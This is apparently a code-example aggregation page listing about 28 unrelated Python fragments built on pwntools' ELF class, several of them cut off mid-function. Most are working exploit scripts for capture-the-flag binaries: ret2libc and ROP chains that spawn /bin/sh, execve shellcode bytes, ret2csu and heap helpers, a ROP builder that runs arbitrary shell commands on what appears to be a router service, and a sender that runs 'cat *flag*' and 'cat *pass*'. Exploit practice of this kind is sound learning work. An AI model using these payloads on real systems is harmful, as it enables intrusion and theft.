Пример #1
0
def compile_source(fas, source_c_file_name, function_name):
    tmp_executable_file_name = "bin_tmp"
    tmp_source_file_name = "source_tmp.c"
    
    with open(source_c_file_name) as f:
        source = f.read()

    for function in fas:
        if function in source:
            source = source.replace(function, fas[function])

    with open(tmp_source_file_name, "w") as f:
        f.write(source)
   
    system("gcc " +  tmp_source_file_name+ " -fPIC -fno-stack-protector -o " + tmp_executable_file_name)
    e = ELF(tmp_executable_file_name)
    f = e.functions[function_name]
    f_bytes = e.read(f.address, f.size)

    return_type = get_return_type(tmp_source_file_name, function_name)
    
    delete_file(tmp_executable_file_name)
    delete_file(tmp_source_file_name)
    
    return format(len(return_type), "02x").decode("hex") + return_type + f_bytes
Пример #2
0
    def __init__(self, file, garbage=0xdeadbeef):
        global _currently_loaded
        if isinstance(file, ELF):
            self.elf = file
        else:
            self.elf = ELF(file)

        self.garbage = tuplify(garbage)

        # bring addresses of sections, symbols, plt and got to this object
        self.sections = dict()
        for k, v in self.elf.sections.items():
            self.sections[k] = v['addr']
        self.symbols = dict()
        for k, v in self.elf.symbols.items():
            self.symbols[k] = v['addr']
        self.plt = self.elf.plt
        self.got = self.elf.got

        # promote to top-level
        g = globals()
        g['sections'] = self.sections
        g['symbols'] = self.symbols
        g['plt'] = self.plt
        g['got'] = self.got

        self._chain = []
        self._gadgets = {}
        self._load_gadgets()

        _currently_loaded = self
Пример #3
0
    def __init__(self, binary: ELF, command=None):
        default_command = "/bin/touch /tmp/foobar-" + "".join(
            random.sample(string.ascii_letters, 5))

        self._chain = None
        self._offsets = None
        self._command = command or default_command

        with context.local():
            context.log_level = "WARNING"  # Suppress ELF metadata print from pwntools
            if isinstance(binary, str):
                if os.path.isfile(binary):
                    self.binary = binary = ELF(binary)
            if not isinstance(binary, ELF):
                self.binary = binary = ELF.from_bytes(b"\x90" * 262144,
                                                      vma=0x8048000)
                self.rop = ROP([binary])
            else:
                self.binary = binary
                context.binary = self.binary.path
                self.rop = ROP([binary])
                context.arch = _bfdarch_patch()
                self.context = context

                self.build_offsets()
Пример #4
0
    def __init__(self, host, port, elf_name, libc_name=None, lib_path=None, ld_linux_name=None, gdb_script=None):
        self.host, self.port = host, port
        self.elf_name, self.libc_name = elf_name, libc_name
        self.lib_path = lib_path
        self.ld_linux_name = ld_linux_name
        self.gdb_script = gdb_script

        self.elf = ELF(self.elf_name)

        if libc_name:
            self.libc = ELF(self.libc_name)

        self.p = None
Пример #5
0
    def __init__(self, file, garbage = 0xdeadbeef):
        global _currently_loaded
        if isinstance(file, ELF):
            self.elf = file
        else:
            self.elf = ELF(file)

        self.garbage = tuplify(garbage)

        # bring addresses of sections, symbols, plt and got to this object
        self.sections = dict()
        for k, v in self.elf.sections.items():
            self.sections[k] = v['addr']
        self.symbols = dict()
        for k, v in self.elf.symbols.items():
            self.symbols[k] = v['addr']
        self.plt = self.elf.plt
        self.got = self.elf.got

        # promote to top-level
        g = globals()
        g['sections'] = self.sections
        g['symbols'] = self.symbols
        g['plt'] = self.plt
        g['got'] = self.got

        self._chain = []
        self._gadgets = {}
        self._load_gadgets()

        _currently_loaded = self
Пример #6
0
class ExploitInfo:
    name    = '/problems/buffer-overflow-3_1_2e6726e5326a80f8f5a9c350284e6c7f/vuln'
    elf     = ELF(name)
    #
    CANARY_SIZE       = 4
    offset_canary     = 0x30 - 0x10
    offset_canary_eip = 0x10 + 4
Пример #7
0
def loadOffsets(binary, shellCmd):
    elf = ELF(binary)
    rop = ROP(elf)

    # www PLT symbols
    plt["strncpy"] = elf.plt['strncpy']
    plt["dlsym"] = elf.plt['dlsym']

    # Gadgets to clean the stack from arguments
    gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address
    gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address
    gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address
    gadgets['p'] = rop.search(regs=["ebp"]).address

    # Gadget to jump on the result of dlsym (address of system)
    gadgets['jeax'] = ropSearchJmp(elf, "jmp eax")

    system_chunks.extend(searchStringChunksLazy(elf, "system\x00"))
    cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00"))

    # get the address of the first writable segment to store strings
    writable_address = elf.writable_segments[0].header.p_paddr

    strings['system'] = writable_address
    strings['cmd'] = writable_address + 0xf
Пример #8
0
def libc_resolve(dict_sym_addr, choice=0):
    if len(dict_sym_addr) <= 1:
        log.warning_once(
            "[libc-resolver]: No reliable result is guaranteed without at least two symbols"
        )
    result = libcdb_wrapper.find(dict_sym_addr)
    log.info("Found:\n%s" % result)
    regex_lib_names = r"\((.*)\)"
    libs = re.findall(regex_lib_names, result, re.MULTILINE)
    if len(libs) > 1:
        log.warning(
            "[libc-resolver]: %d libraries are compatible, default choice is %d"
            % (len(libs), choice + 1))
    libc = ELF(config.db_path + libs[choice] + ".so")
    libc.address = list(dict_sym_addr.values())[0] - libc.symbols[list(
        dict_sym_addr.keys())[0]]
    return (libc)
Пример #9
0
def main():
    elf_name = '/problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/vuln'
    libc_name = 'libc.so.6'
    elf = ELF(elf_name)
    libc = ELF(libc_name)
    OFFSET_buf_to_eip = 0x9c + 4

    p = process(elf_name)

    p.recvuntil('puts: ')
    leak = p.recvline(keepends=False)
    ADDR_puts = int(leak, 16)

    p.recvuntil('useful_string: ')
    leak = p.recvline(keepends=False)
    ADDR_bin_sh = int(leak, 16)

    # Calculate libc base
    libc.address = ADDR_puts - libc.symbols['puts']
    ADDR_system = libc.symbols[
        'system']  # + 3 # +3 to avoid null byte on address
    ADDR_exit = libc.symbols['exit']

    log.info("puts    @ %s", hex(ADDR_puts))
    log.info("libc    @ %s", hex(libc.address))
    log.info("system  @ %s", hex(ADDR_system))
    log.info("exit    @ %s", hex(ADDR_exit))
    log.info("/bin/sh @ %s", hex(ADDR_bin_sh))

    ropchain = p32(ADDR_system)
    ropchain += p32(ADDR_exit)
    ropchain += p32(ADDR_bin_sh)

    payload = 'A' * OFFSET_buf_to_eip
    payload += ropchain

    p.sendlineafter('string:\n', payload)

    p.sendlineafter(
        'now...\n',
        'cd /problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/')
    p.sendline('ls -l')
    p.interactive()
Пример #10
0
    def __init__(self, elf_path, payload, base_addr=None):
        self.elf = ELF(elf_path)
        
        if self.elf.pie and base_addr is None:
            print("[+]: PIE is enabled")
            self.addr = base_addr
            exit()
        else:
            self.addr = self.elf.address
        self.payload = payload
        
        self.text = self.elf.get_section_by_name(".text")
        if self.text is None:
            # todo: error handling
            print("[+]: where is text section???")
            exit()

        self.dumper = HexDumper(self.payload, self.elf.bits // 8)
        self._external_dict = {}

        mode = CS_MODE_64 if self.elf.bits == 64 else CS_MODE_32
        md = Cs(CS_ARCH_X86, mode)

        self.rpg = RPG(elf_path)
        gadget_dict = self.rpg.gadget_list
        
        """
            {'vaddr': 4196002, 'gadget': 'adc byte ptr [rax], ah ; jmp rax', 'decodes': <generator object Cs.disasm at 0x7f203c6fe2e0>, 'bytes': b'\x10`\x00\xff\xe0', 'prev': b'\x00H\x85\xc0t\x11]\xbf`'}
        """

        self.gadgets = {}
        for g in gadget_dict:
            self.gadgets[g["vaddr"]] = g

        self.mnemonics = {}

        for mnemonic in md.disasm(self.text.data(), self.text.header.sh_addr):
            self.mnemonics[mnemonic.address] = mnemonic
Пример #11
0
class ExploitInfo:
    name = 'gets'
    elf = ELF(name)
    name_on_shell = '/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/%s' % name
    pico_shell = None
    shellcode_i386 = unhexlify(
        # % rasm2 -b 32 -D 31c9f7e1b00b51682f2f7368682f62696e89e3cd80
        '31c9'  # 0x00000000   2 xor ecx, ecx
        'f7e1'  # 0x00000002   2 mul ecx
        'b00b'  # 0x00000004   2 mov al, 0xb
        '51'  # 0x00000006   1 push ecx
        '682f2f7368'  # 0x00000007   5 push 0x68732f2f
        '682f62696e'  # 0x0000000c   5 push 0x6e69622f
        '89e3'  # 0x00000011   2 mov ebx, esp
        'cd80'  # 0x00000013   2 int 0x80
    )
    #
    offset_eip = 0x18 + 4
Пример #12
0
def make_binary():
    # junk code generation
    write_junk_calls("main.c", 31, 2)
    write_junk_calls("main.c", 22)
    write_junk_body("main.c", 16)

    subprocess.call("make", stdout=FNULL, stderr=FNULL)

    # input correction
    elf = ELF("simple_rop_2")
    rop = ROP(elf)
    win1 = elf.symbols['win_function1']
    win2 = elf.symbols['win_function2']
    flag = elf.symbols['flag']
    POP_ONCE = (rop.find_gadget(['pop rdi', 'ret']))[0]
    RET = (rop.find_gadget(['ret']))[0]

    padding = b'A' * 24

    exploit = padding + p64(win1) + p64(win2)
    exploit += p64(POP_ONCE) + p64(0xABADBABE) + p64(RET) + p64(flag)
    # rop is saved as input
    f = open("input", "wb")
    f.write(exploit)
    f.close()

    # strip it after the ropchain building so they don't have the symbols but we do
    subprocess.call(["strip", "simple_rop_2"], stdout=FNULL, stderr=FNULL)

    # TESTING BINARY
    f = open("flag.txt", 'r')
    flag = f.readline()
    try:
        output = subprocess.check_output("./simple_rop_2 < input",
                                         shell=True,
                                         stderr=subprocess.STDOUT)
    except Exception as e:
        output = str(e.output)
    if not flag in output:
        return -1
    else:
        return 0
Пример #13
0
def main():
    elf_name = '/problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47/rop'
    elf = ELF(elf_name)
    offset_buf_to_eip = 0x18 + 4

    p = process(elf_name)

    rop_chain = ROP(elf)
    rop_chain.win_function1()
    rop_chain.win_function2(0xBAAAAAAD)
    rop_chain.flag(0xDEADBAAD)

    log.info(rop_chain.dump())

    payload = 'A' * offset_buf_to_eip
    payload += str(rop_chain)
    assert ('\n' not in payload)
    p.sendlineafter('input> ', payload)

    print(p.recv(4096))
Пример #14
0
def get_libcs():
    with hide_log() as hidden:
        directory = os.path.expanduser('~/.libc_offdb/')
        walk = os.walk(directory)
        if not os.path.exists(directory):
            raise Exception(
                "You haven't download libc yet, please download libc")
            return None
        elfs = []
        cnt = 0
        for root, dirs, files in walk:
            for f in files:
                cnt += 1
                if f.endswith('.dump'):
                    continue
                elfs.append(ELF(os.path.join(directory, f)))
        if cnt == 1:
            raise Exception(
                "You haven't download libc yet, please download libc")
        return elfs
Пример #15
0
class ROP:
    def __init__(self, file, garbage = 0xdeadbeef):
        global _currently_loaded
        if isinstance(file, ELF):
            self.elf = file
        else:
            self.elf = ELF(file)

        self.garbage = tuplify(garbage)

        # bring addresses of sections, symbols, plt and got to this object
        self.sections = dict()
        for k, v in self.elf.sections.items():
            self.sections[k] = v['addr']
        self.symbols = dict()
        for k, v in self.elf.symbols.items():
            self.symbols[k] = v['addr']
        self.plt = self.elf.plt
        self.got = self.elf.got

        # promote to top-level
        g = globals()
        g['sections'] = self.sections
        g['symbols'] = self.symbols
        g['plt'] = self.plt
        g['got'] = self.got

        self._chain = []
        self._gadgets = {}
        self._load_gadgets()

        _currently_loaded = self

    def _load_gadgets(self):
        if self.elf.elfclass == 'ELF32':
            self._load32_popret()
            self._load32_migrate()

    def _exec_sections(self):
        for name, sec in self.elf.sections.items():
            if 'X' not in sec['flags']: continue
            data = self.elf.section(name)
            addr = sec['addr']
            yield (data, addr)


    def _non_writable_sections(self):
        for name, sec in self.elf.sections.items():
            if 'W' in sec['flags']: continue
            data = self.elf.section(name)
            addr = sec['addr']
            yield (data, addr)


    def _load32_popret(self):
        addesp = '\x83\xc4'
        popr = map(chr, [0x58, 0x59, 0x5a, 0x5b, 0x5d, 0x5e, 0x5f])
        popa = '\x61'
        ret  = '\xc3'
        poprets = defaultdict(list)
        for data, addr in self._exec_sections():
            i = 0
            while True:
                i = data.find(ret, i)
                if i == -1: break
                s = [(i, 0)]
                while len(s) > 0:
                    off, size = s.pop(0)
                    gaddr = addr + off
                    poprets[size].append(gaddr)
                    if data[off - 1] in popr:
                        s.append((off - 1, size + 1))
                    if data[off - 1] == popa:
                        s.append((off - 1, size + 7))
                    if data[off - 3:off - 1] == addesp:
                        x = u8(data[off - 1])
                        if x % 4 == 0:
                            s.append((off - 3, size + x // 4))
                i += 1
        self._gadgets['popret'] = dict(poprets)

    def _load32_migrate(self):
        leave = '\xc9\xc3'
        popebp = '\x5d\xc3'
        ls = []
        ps = []
        for data, addr in self._exec_sections():
            idxs = findall(data, leave)
            ls += map(lambda i: i + addr, idxs)
            idxs = findall(data, popebp)
            ps += map(lambda i: i + addr, idxs)
        self._gadgets['leave'] = ls
        self._gadgets['popebp'] = ps

    def _resolve(self, x):
        if x is None or isinstance(x, int):
            return x
        for y in [self.plt, self.symbols, self.sections]:
            if x in y:
                return y[x]
        die('Could not resolve `%s\'' % x)

    def _pivot(self, args):
        pivot = None
        rets = self._gadgets['popret']
        for size in sorted(rets.keys()):
            if size >= len(args):
                pivot = rets[size][0]
                break
        if pivot is None:
            for i in findall(args, None):
                if i in rets.keys():
                    res = self._pivot(args[i + 1:])
                    if res is None: continue
                    pivot, size = res
                    args[i] = pivot
                    pivot = rets[i][0]
                    size += i + 1
                    break
        if pivot is not None:
            return (pivot, size)

    def migrate(self, sp, bp = None):
        self._chain.append(('migrate', (sp, bp)))
        return self

    def set_frame(self, addr):
        if self.elf.elfclass == 'ELF32':
            self._set_frame32(addr)
        else:
            die('Only 32bit ELF supported')

    def _set_frame32(self, addr):
        gs = self._gadgets['popebp']
        if gs <> []:
            self.raw(gs[0], addr)
        else:
            die('Could not find set-EBP gadget')

    def call(self, target, args = (), pivot = None):
        '''Irrelevant arguments should be marked by a None'''
        target = self._resolve(target)
        args = map(self._resolve, tuplify(args))
        self._chain.append(('call', (target, pivot, args)))
        return self

    def raw(self, *words):
        self._chain.append(('raw', words))
        return self

    def search(self, byte):
        for data, addr in self._non_writable_sections():
            if addr and byte in data:
                yield data.find(byte) + addr

    def generate(self):
        if self.elf.elfclass == 'ELF32':
            return self._generate32()
        else:
            die('Only 32bit ELF supported')

    def flush(self):
        '''Alias for generate'''
        return self.generate()

    def _garbage(self, n):
        out = ''
        while len(out) < n:
            x = random.choice(self.garbage)
            out += x if isinstance(x, str) else pint(x)
        return out[:n]

    def _generate32(self):
        out = []
        chain = self._chain
        self._chain = []
        p = p32
        def garbage():
            return self._garbage(4)
        def pargs(args):
            args = map(lambda a: garbage() if a is None else p(a), args)
            return args

        for i in range(len(chain)):
            type, link = chain[i]
            islast = i == len(chain) - 1
            issndlast = i == len(chain) - 2
            if type == 'raw':
                out += pargs(link)
            elif type == 'call':
                target, pivot, args = link
                out.append(p(target))
                if len(args) > 0:
                    if islast:
                        out.append(garbage())
                        out += pargs(args)
                    elif issndlast and chain[i + 1][0] == 'call' and \
                      len(chain[i + 1][1][2]) == 0:
                        # the last target has no arguments, so go straight to it
                        out.append(p(chain[i + 1][1][0]))
                        out += pargs(args)
                        break
                    else:
                        if pivot is None:
                            # find suitable popret
                            res = self._pivot(args)
                            if res is None:
                                die('Could not find gadget for pivoting %d arguments' % len(args))
                            pivot, size = res
                            args = pargs(args)
                            for _ in range(size - len(args)):
                                args.append(garbage())
                        out.append(p(pivot))
                        out += args
            elif type == 'migrate':
                if not islast:
                    die('Migrate must be last link in chain')
                esp, ebp = link
                gp = self._gadgets['popebp']
                gl = self._gadgets['leave']
                if len(gp) == 0 and len(gl) == 0:
                    die('Could not find set-EBP and leave gadgets needed to migrate')
                gp = gp[0]
                gl = gl[0]
                if ebp is None:
                    out += [p(gp), p(esp-4), p(gl)]
                else:
                    out += [p(gp), p(esp), p(gl)]
                    self.raw(p(ebp))
            else:
                die('Unknown ROP-link type')
        return ''.join(out)

    def __str__(self):
        return self.generate()

    def __flat__(self):
        return self.generate()

    def __repr__(self):
        return str(self)

    def __add__(x, y):
        return str(x) + str(y)

    def __radd__(x, y):
        return str(y) + str(x)

    def __getitem__(self, x):
        return self._resolve(x)

    def chain(self, *args):
        if len(args) % 2 <> 0:
            args = args + ((),)
        args = group(2, args)
        for f, a in args:
            self.call(f, a)
        return self
Пример #16
0
#!/usr/bin/env python3
from pwn import process, ELF, log, context, pause
from fastpwn import pack
context(arch='amd64', os='linux', log_level='DEBUG')
binary = ELF('./lab')
p = binary.process()
offset = 112
#### define sections of the binary
# since PIE is not enabled, these will be static offsets to whichever section we want
# we will not pack them, since after they are in bytes we cannot use as decimal offsets :(
bss = 0x0804c028
plt = 0x08049030
rel_plt = 0x08048424
dynsym = 0x08048260
dynstr = 0x08048320
#### Important entries within PLT/GOT
got_read = 0x0804c010
plt_read = 0x08049050
log.info("")
log.warning("continue?")
log.info("")
pause()
log.info(".bss: \t%s" % hex(bss))
log.info(".plt: \t%s" % hex(plt))
log.info(".rel.plt: %s" % hex(rel_plt))
log.info(".dynsym:  %s" % hex(dynsym))
log.info(".dynstr:  %s" % hex(dynstr))
log.info("GOT entry to read: %s" % hex(got_read))
log.info("PLT entry to read: %s" % hex(plt_read))

stack = 0x300
Пример #17
0
from pwn import context, ELF, gdb, packing, process, ROP

e = ELF("ret2csu")
p = process(e.path)

#gadget 1 = pop_rbp; pop_r12; pop_r13; pop_r14; pop_r15; ret
gadget1 = 0x40069b
rbx = 0x0
rbp = 0x1
fini = 0x600e48          #doesn't actually call fini it just stores this address to be called at the end so we can fill rdi properly
arg1 = 0xdeadbeefdeadbeef   #edi
arg2 = 0xcafebabecafebabe   #rsi
arg3 = 0xd00df00dd00df00d   #rdx

#gadget 2 = mov rdx r15; mov rsi r14; mov edi r13
gadget2 = 0x400680

ret2win = 0x40062a

'''
using the provided gadgets in __libc_csu_init we can construct a rop chain to derandomize libc

if we want ret2win to be called during call qword ptr [r12+rax*8], then we can set rax as 0x0, 
and then r12 as the value for ret2win
'''
junk = b"A" * 40
chain = [gadget1, rbp, fini, arg1, arg2, arg3, gadget2, 0x0,0x1,0x0,0x0,0x0,0x0,0x0, 0x4006a3, 0xdeadbeefdeadbeef, ret2win]
rop = b"".join([packing.p64(r) for r in chain])

p.recvuntil("> ")
#input() #debug
    p.sendline(s)
    ret = p.recvuntil("1. Stack Bufferoverflow Bug", drop=True)
    p.recvuntil("Exit the battle \n")
    return ret


def connect():
    global p
    p = process(elf.file.name, cwd=SCRIPTDIR)
    p.recvuntil("Exit the battle \n")


logging.basicConfig(level=logging.DEBUG)
log = logging.getLogger()

elf = ELF(os.path.join(SCRIPTDIR, "2017_asis_mary_morton"))
connect()


def test_win():
    winner = 0x4008DA

    connect()

    fmtStr = FormatString(exec_fmt,
                          elf=elf,
                          index=6,
                          pad=0,
                          explore_stack=False)

    fmtStr.write_q(elf.symbols['got.printf'], winner)
Пример #19
0
    def build_ropchain(self, offsets=None):
        """
            Command Eg. "ls -la"

            system_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693]
                ("s", "y", "s", "t", "e", "m", "\x00")
            cmd_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693]
                ("l", "s", " ", "-", "l", "a", "\x00")

            Psuedocode:
            -----------------------------
            char_size = 1
            char_pointer = 0

            for address in cmd_chunks:
                rop.call(<strncpy>, args=(<writeable_segment_addr> + char_pointer, address, char_size))
                char_pointer += 1

            |<<<< rop.call(<dlsym>, args=(0, "system"))
            |
            |        eax = resultant pointer of dlsym()
            |
            |>>>> rop.call(<jmp eax>, args=(<command>))

            -----------------------------
        """

        char_size = 1
        cmd_chunks = list()
        system_chunks = list()

        if offsets:
            self._offsets = offsets
            for gadget_name, gadget in self.offsets.gadgets.items():
                if "pivot" in gadget_name:
                    self.binary.asm(gadget.address, "; ".join(gadget.insns))
            self.binary.save("/tmp/chimay_red.elf")

            with context.local():
                context.log_level = "WARNING"  # Suppress ELF metadata print from pwntools
                self.rop = ROP([ELF("/tmp/chimay_red.elf")])

        ascii_chunks = self.offsets.strings.get("ascii_chunks")
        if not ascii_chunks:
            log.critical("Offsets are currently not built!")

        for char in "system" + "\x00":
            if ascii_chunks.get(char):
                system_chunks.append(ascii_chunks[char])
            else:
                log.critical(
                    "Unable to locate enough readable characters in the binary to craft system chunks"
                )

        for char in self.command + "\x00":
            if ascii_chunks.get(char):
                cmd_chunks.append(ascii_chunks[char])
            else:
                log.critical(
                    "Unable to locate enough readable characters in the binary to craft desired command"
                )

        for length, address in zip(range(len(system_chunks)), system_chunks):
            self.rop.call(self.offsets.plt.get("strncpy"), [
                self.offsets.strings.get("system") + length, address, char_size
            ])
        # print("EXPLOIT STAGE 1 (SYSTEM CHUNKS): ", hexlify(self.rop.chain()))

        for length, address in zip(range(len(cmd_chunks)), cmd_chunks):
            self.rop.call(
                self.offsets.plt.get("strncpy"),
                [self.offsets.strings.get("cmd") + length, address, char_size])
        # print("EXPLOIT STAGE 2 (CMD CHUNKS): ", hexlify(self.rop.chain()))

        self.rop.call(self.offsets.plt.get("dlsym"),
                      [0, self.offsets.strings.get("system")])
        # print("EXPLOIT STAGE 3 (SYSTEM CHUNKS): ", hexlify(self.rop.chain()))

        self.rop.call(self.offsets.gadgets.get("jmp_eax"),
                      [self.offsets.strings.get("cmd")])
        # print("EXPLOIT 4: ", hexlify(self.rop.chain()))

        self._chain = self.rop.chain()
Пример #20
0
#!/usr/bin/python3
# ./attack.py GDB or ./attack.py
# To disable ASLR, run this first: setarch `uname -m` -R /bin/bash

from pwn import process, gdb, args, p64, ELF, context, u64

binary = './gym'

gs = """
break 118
continue
"""

e = ELF(binary)

END_OF_MENU = "e.g., r 1\n"


def malloc(p, size=8):
    p.sendline(b"m %d" % size)
    print("m %d" % size)
    print(p.recvuntil(END_OF_MENU).decode())


def free(p, index):
    p.sendline(b"f %d" % index)
    print("free")
    print(p.recvuntil(END_OF_MENU).decode())


def edit(p, index, content):
from os import system
from pwn import ELF
print("compiling")
#O2,O1 or the assert will trigger
system("gcc -O2 fib_iterative.c -o ./fib_iterative")

print("extracting fib")
binary = ELF("./be-quick-or-be-dead-2")
fib_binary = ELF("./fib_iterative")
fib = fib_binary.functions["fib"]
assert fib.size < binary.functions[
    "fib"].size, "instructions variable must have less machine code than the current fib implementation"

print("fib size:", fib.size)
with open("fib_iterative.txt", "w") as f:
    print(fib_binary.disasm(fib.address, fib.size), file=f)
Пример #22
0
                parents.pop()  #normal finish, pop one parents

            else:
                print(indent + 'cant branch to black, escape!')
                print("%s%s" % (indent, parents))
                black.extend(parents)
                print(indent + 'put parents to black')
                raise 1  #stop all, go to big try part

    parents.pop()  #normal finish, pop one parents
    print(indent + 'normal return %s, pop parents' % (hex(addr)))


#start
filename = sys.argv[1]
elf = ELF(sys.argv[1])

#to make [name, addr, size] map
func_list = list(elf.functions.keys())  #funcname list
func_num = len(func_list)
map = {}
for i in range(func_num):
    name = func_list[i]
    addr = elf.symbols[name]

    if addr % 2 == 1:
        addr = addr - 1

    size = elf.functions[name].size
    map[addr] = [name, addr, size]
Пример #23
0
    u8,
    p8,
    u16,
    p16,
    u32,
    p32,
    u64,
    p64,
)

context.log_level = "debug"
context.arch = "amd64"  # arch="i386", arch="mips", arch="arm",
context.terminal = ["tmux", "split-window", "-v", "-p 75"]

LOCAL = True
elf = ELF(os.path.realpath("./changeme"))
libc = ELF(os.path.realpath("./libc.so"))


def gdb_load_symbols_cmd(sym_file, e, base):
    sec_str = []
    for s in e.sections:
        if not s.name or not s.header.sh_addr:
            continue
        sec_addr = base + s.header.sh_addr
        sec_str.append(f'-s {s.name} 0x{sec_addr:x}')
    text_addr = e.get_section_by_name('.text').header.sh_addr + base
    return f'add-symbol-file {sym_file} 0x{text_addr:x} {" ".join(sec_str)} \n'


def attach(r):
Пример #24
0
#!/usr/bin/env python3
from pwn import context,ELF,process,log
from fastpwn import pack, aslr
if aslr.read():
    aslr.write("2")
    log.warning("ASLR turned on")
context(arch='amd64',os='linux')
binary=ELF('./sgc',checksec=False)
p=binary.process()
libc=ELF('./libc-2.26.so',checksec=False)
## establish helper functions
def add(n,g,a):
    p.recvuntil("Action:")
    p.sendline("0")
    p.recvuntil("name:")
    p.sendline(str(n)) # name
    p.recvuntil("group:")
    p.sendline(str(g)) # group name
    p.recvuntil("age:")
    p.sendline(str(a))  # age
def gdis(n):
    p.recvuntil("Action:")
    p.sendline("1")
    p.recvuntil("name:")
    p.sendline(str(n)) # name
def udis(i):
    p.recvuntil("Action:")
    p.sendline("2")
    p.recvuntil("index:")
    p.sendline(str(i)) # index
def edit(i, n, prop=True):
Пример #25
0
#!/usr/bin/env python3

from pwn import process, asm, ELF, context
from multiprocessing import Process
from numpy import array_split

context.log_level = 'error'

elf = ELF('./padawanlock')

assembly_for_h = asm('mov byte ptr [ebx], 0x48') # Instruction that adds H to the output - must be our entrypoint

def brute_force_range(search, pid):
    # Reversing the caculation
    # 0x124B base address of jump table
    # 13 byte difference between the address to which we jump and the instruction that appends the char
    # address = base + (20 * input)
    # address - base = 20 * input
    # (address - base) / 20 = input
    base = 0x124b
    count = 0

    with open(f"results_{pid}.txt", "w") as output_file:
        for result in search:
            address = result - 13
            input = (address - base) / 20
            input = round(input)
            p = process("./padawanlock")
            p.sendline(str(input))
            output = p.recvall().decode('ascii')
            flag = output.split('Unlocked secret is:')[1].strip()
####################
#### CONNECTION ####
####################
LOCAL = False
REMOTETTCP = True
REMOTESSH = False
GDB = False

LOCAL_BIN = "./vuln"
REMOTE_BIN = "~/vuln"  #For ssh
LIBC = ""  #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it

if LOCAL:
    P = process(LOCAL_BIN)  # start the vuln binary
    ELF_LOADED = ELF(LOCAL_BIN)  # Extract data from binary
    ROP_LOADED = ROP(ELF_LOADED)  # Find ROP gadgets

elif REMOTETTCP:
    P = remote('10.10.10.10', 1339)  # start the vuln binary
    ELF_LOADED = ELF(LOCAL_BIN)  # Extract data from binary
    ROP_LOADED = ROP(ELF_LOADED)  # Find ROP gadgets

elif REMOTESSH:
    ssh_shell = ssh('bandit0',
                    'bandit.labs.overthewire.org',
                    password='******',
                    port=2220)
    p = ssh_shell.process(REMOTE_BIN)  # start the vuln binary
    elf = ELF(LOCAL_BIN)  # Extract data from binary
    rop = ROP(elf)  # Find ROP gadgets
def sendExploit(
    binary_name,
    properties,
    remote_server=False,
    remote_url="",
    port_num=0,
    user_input=None,
):

    send_results = {}

    # Create local or remote process
    if remote_server:
        proc = remote(remote_url, port_num)
    else:
        proc = process(binary_name)

    # Command to send
    if user_input is None:
        user_input = properties["pwn_type"]["results"]["input"]

    if properties["pwn_type"]["results"]["type"] == "leak":
        leak_input = properties["pwn_type"]["results"]["leak_input"]
        leak_output = properties["pwn_type"]["results"]["leak_output"]
        leaked_function = properties["pwn_type"]["results"]["leaked_function"]
        output_len = len(leak_output)

        proc.sendline(leak_input)
        bytes_with_leak = proc.read()
        if properties["protections"]["arch"] == "amd64":
            total_leak = bytes_with_leak[output_len:output_len + 8]
            leaked_val = u64(total_leak[:6] +
                             b"\x00" * 2)  # puts won't print null bytes
        else:
            total_leak = bytes_with_leak[output_len:output_len + 4]
            leaked_val = u32(total_leak)  # puts won't print null bytes

        log.info("--- Leak ---")
        log.info(total_leak)
        log.info(bytes_with_leak)
        # leaked_val = u64(total_leak[:6]+b"\x00"*2) # puts won't print null bytes

        log.info("leak is {}".format(hex(leaked_val)))
        log.info("leaked function {} found at {}".format(
            leaked_function, hex(leaked_val)))
        properties["pwn_type"]["results"][
            "leaked_function_address"] = leaked_val

        if properties.get("libc", None):
            libc = ELF(properties["libc"])
            properties["libc_base_address"] = leaked_val - libc.symbols[
                leaked_function]
            log.info("[+] Leak sets libc address to {}".format(
                hex(properties["libc_base_address"])))

        # Make second stage pwn
        properties["pwn_type"]["results"] = exploitOverflow(
            binary_name, properties, inputType=properties["input_type"])

        second_stage_input = properties["pwn_type"]["results"]["input"]
        proc.sendline(second_stage_input)

    else:
        proc.sendline(user_input)

    # If we have a shell, send some commands!
    proc.sendline()
    proc.sendline(b"ls;\n")
    proc.sendline(b"cat *flag*;\n")
    proc.sendline(b"cat *pass*;\n")

    # Sometimes the flag is just printed
    results = proc.recvall(timeout=3)
    log.debug(results)
    print(results)

    send_results["flag_found"] = False
    if b"{" in results and b"}" in results:
        send_results["flag_found"] = True
        log.info("[+] Flag found:")
        log.info(results)

    return send_results
Пример #28
0
def main():

    if len(sys.argv) < 2:
        usage()
    binary = sys.argv[1]
    try:
        elf = ELF(binary)
    except:
        myExit("Problem with binary path " + binary)

    ldPath = None
    libc = None
    libcPath = None
    DEBUG = False
    REMOTE = False

    env = {}
    i = 2
    while i < len(sys.argv):
        opt = sys.argv[i]
        if opt == Mode.DEBUG:
            log.debug("Enable gdb mode")
            DEBUG = True
            i += 1
        elif opt == Mode.REMOTE:
            try:
                host = sys.argv[i + 1]
                port = sys.argv[i + 2]
            except:
                myExit("Problem with -r HOST PORT")
            log.debug("Enable remote connection to ", host, port)
            REMOTE = True
            i += 3

        elif opt == Mode.LIBC:
            try:
                libcVersion = sys.argv[i + 1]
            except:
                myExit("Problem with -l PathToLibC")

            log.debug("Set Library version to", libcVersion)
            # PATH_CUSTOM_GLIBC = PATH_GLIBC % libcVersion

            for file in listdir(PATH_LIBS):

                if file.startswith("ld") and libcVersion in file:
                    ldPath = path.join(PATH_LIBS, file)
                if file.startswith("libc") and libcVersion in file:
                    libcPath = path.join(PATH_LIBS, file)

            # libcPath = "/lib/x86_64-linux-gnu/libc-2.27.so"

            env = {"LD_PRELOAD": libcPath}

            libc = ELF(libcPath)
            i += 2

        else:
            myExit("Unknown option only -d -l -ld -r")

    if not libc:
        libc = elf.libc
    if REMOTE:
        r = remote(host, int(port))

    else:
        if ldPath is None:
            r = process(binary, env=env)
        else:
            r = process([ldPath, binary], env=env)
        if DEBUG:
            # Example
            # bp = [elf.sym["malloc"]]
